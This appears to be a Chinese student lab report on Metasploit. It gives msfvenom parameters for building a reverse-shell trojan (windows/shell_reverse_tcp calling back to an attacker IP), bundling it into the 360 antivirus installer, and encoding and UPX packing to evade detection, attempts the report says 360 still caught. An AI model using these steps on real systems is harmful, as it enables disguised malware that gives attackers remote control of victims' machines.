Metasploit实现木马生成、捆绑、免杀
1.预备知识
(1)Metasploit
Metasploit是一款开源的安全漏洞检测工具，全称叫做The Metasploit Framework，简称MSF。MSF是一个漏洞框架，它允许使用者开发自己的漏洞脚本，从而进行测试。下图为Metasploit的体系结构：
??????????图片来源玩转Metasploit系列（第一集）
基础库文件：
- Rex:Metasploit中的基础库，用于支持不同的协议、转换，以及套接字处理
- MSF CORE：该库对框架进行了定义，同时提供Metasploit的基本应用界面
- MSF BASE：该库提供了Metasploit框架的一个简化的、友好的应用界面
模块（通过Metasploit框架所装载、集成并对外提供的最核心的渗透测试功能实现代码）
- 渗透攻击模块（Exploits)：利用发现的安全漏洞或配置弱点对远程目标系统进行攻击，以植入和运行攻击载荷，从而获得对目标系统访问控制权的代码组件
- 攻击载荷模块（Payloads)：在渗透攻击成功后促使目标系统运行的一段植入代码，通常作用是为渗透攻击者打开在目标系统上的控制会话连接
- 编码器模块（Encoders)：确保攻击载荷中不会出现渗透攻击过程中应加以避免的”坏字符“；对攻击载荷进行”免杀“处理
- 后渗透攻击模块（Post-Modes)：主要支持在渗透攻击取得目标系统远程控制权之后，在受控系统中进行各种各样的后渗透攻击动作，比如获取敏感信息，进一步括展，实施跳板攻击等
- 辅助模块（Auxiliary)：没有攻击载荷的漏洞攻击，用于诸如端口扫描、指纹验证、服务扫描等任务中
(2)攻击载荷工具
- msfpayload：用于生产并输出Metasploit所有类型的可用shell代码
- msfencode：对msfpayload生成的shell代码进行编码，使得shell代码能够适应目标系统环境，更好地实现其功能
msfvenom：是msfpayload和msfencode的混合体
2.实验
（1）选择攻击载荷
输入msfconsole进入metasploit控制台：
输入show payloads查看所有可以使用的攻击载荷信息：
此次实验我们使用的是windows/shell_reverse_tcp（一个简单的反弹shell程序，功能是连接靶机的命令行）。
（2）选择捆绑文件
可以创建自己的EXE文件，也可以捆绑到其他EXE文件。本次实验选择捆绑，我找了360的安装软件（360.exe）
（3）免杀
制作一个免杀的木马来绕过杀毒软件的检测。在Meatsploit框架下免杀的方式之一是使用MSF编码器。msfvenom -l encoders查看编码方式(并不是所有的编码方式都在windows系统上可用)：
本次实验选择x86/shikata_ga_nai：
（4）生成、捆绑、免杀的实现
实验环境：
攻击机 Kali linux IP：192.168.177.133
靶机 win7 IP：192.168.177.1
命令解释：
msfvenom -p windows/shell_reverse_tcp 使用shell_reverse_tcp攻击载荷
LHOST=192.168.177.133 设置攻击者IP地址
LPORT=8080 设置攻击者的监听端口，用于接收木马的链接请求
-e x86/shikata_ga_nai 使用shikata_ga_nai的编码方式
-x 360.exe 将木马捆绑在360.exe上
-i 5 对目标进行5次编码
-f exe 指定MSF编码器输出格式为exe
-o /root/backdoor.exe 指定处理完毕后的文件输出路径
下面进行测试，设置好后等待木马的链接：
在win7上运行制作好的backdoor.exe，很遗憾被360查杀：
用不同的编码方式多编码几次：
运行后仍旧被360查杀：
再尝试加壳处理，输入upx参看upx加壳软件参数。upx -5 backdoor.exe 对backdoor.exe进行加壳（此处为压缩处理，加壳的不便之处就是会改变源文件的大小，有经验的安全人员很容易发现这点差别）：
尴尬 ......依然被查杀，可以看到木马名称有变：
实验中遇到的另一个问题是自己虚拟机上的kali攻击宿主机的win7是可以监听到木马的链入的，但是随后王政的kali攻击我的win7(同一个局域网)时却监听不到，他的电脑能ping通我的电脑，但是我的ping不通他的，检查防火墙都已经关闭，我们猜测是实验室的路由器可能做了安全配置。
由于是第一次接触安全系统与软件，所以本次实验感谢王政同学的指导，遇到的问题再仔细琢磨后解决。
